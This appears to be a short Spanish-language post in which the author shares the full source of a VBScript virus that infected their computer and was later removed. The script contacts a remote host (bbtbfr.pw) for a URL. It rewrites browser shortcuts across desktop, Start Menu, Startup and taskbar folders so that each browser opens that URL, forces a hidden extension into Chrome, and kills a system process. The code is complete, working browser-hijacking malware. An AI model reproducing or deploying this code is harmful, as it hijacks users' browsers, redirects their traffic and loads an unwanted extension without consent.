Virus que me estuvo infectando la compu pero que finalmente puede eliminar, muy interesante el código fuente.

virus.vbs

Dim xmlHttp:
Dim homePageUrl:
Set xmlHttp = CreateObject("MSXML2.XMLHTTP"):

xmlHttp.open "GET", "http://bbtbfr.pw/GetHPHost?"&Timer(), False:
On Error Resume Next:

xmlHttp.send:
if xmlHttp.status = 200 then:
  homePageUrl= xmlHttp.responseText:
end if:

Dim objFS:
Set objFS = CreateObject("Scripting.FileSystemObject"):
On Error Resume Next:

link = homePageUrl:
linkChrome = " --load-extension=""C:\Users\ALIENW~1\AppData\Local\kemgadeojglibflomicgnfeopkdfflnk"" " + homePageUrl:
browsers = Array("IEXPLORE.EXE", "firefox.exe", "360SE.exe", "SogouExplorer.exe", "opera.exe", "Safari.exe", "Maxthon.exe", "TTraveler.exe", "TheWorld.exe", "baidubrowser.exe", "liebao.exe", "QQBrowser.exe","chrome.exe","360chrome.exe"):
ChromeBrowsers = Array("chrome.exe","360chrome.exe"):

Set BrowserDic = CreateObject("scripting.dictionary"):
For Each browser In browsers:
  BrowserDic.Add LCase(browser), browser:
Next:

Set ChromeBrowserDic = CreateObject("scripting.dictionary"):
For Each ChromeBrowser In ChromeBrowsers:
  ChromeBrowserDic.Add LCase(ChromeBrowser), ChromeBrowsers:
Next:

Dim FoldersDic(12):
Set WshShell = CreateObject("Wscript.Shell"):
FoldersDic(0) = "C:\Users\Public\Desktop":
FoldersDic(1) = "C:\ProgramData\Microsoft\Windows\Start Menu":
FoldersDic(2) = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs":
FoldersDic(3) = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup":
FoldersDic(4) = "C:\Users\Alienware\Desktop":
FoldersDic(5) = "C:\Users\Alienware\AppData\Roaming\Microsoft\Windows\Start Menu":
FoldersDic(6) = "C:\Users\Alienware\AppData\Roaming\Microsoft\Windows\Start Menu\Programs":
FoldersDic(7) = "C:\Users\Alienware\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup":
FoldersDic(8) = "C:\Users\Alienware\AppData\Roaming":
FoldersDic(9) = "C:\Users\Alienware\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch":
FoldersDic(10) = "C:\Users\Alienware\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu":
FoldersDic(11) = "C:\Users\Alienware\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar":

Set fso = CreateObject("Scripting.Filesystemobject"):
For i = 0 To UBound(FoldersDic):
  For Each file In fso.GetFolder(FoldersDic(i)).Files:
    If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:
      set oShellLink = WshShell.CreateShortcut(file.Path):
      path = oShellLink.TargetPath:
      name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):
      If BrowserDic.Exists(LCase(name)) Then:
        If ChromeBrowserDic.Exists(LCase(name)) Then:
          oShellLink.Arguments = linkChrome:
        else:
          oShellLink.Arguments = link:
        End if:
        If file.Attributes And 1 Then:
          file.Attributes = file.Attributes - 1:
        End If:
        oShellLink.Save:
      End If:
    End If:
  Next:
Next:

createobject("wscript.shell").run "cmd /c taskkill /f /im scrcons.exe", 0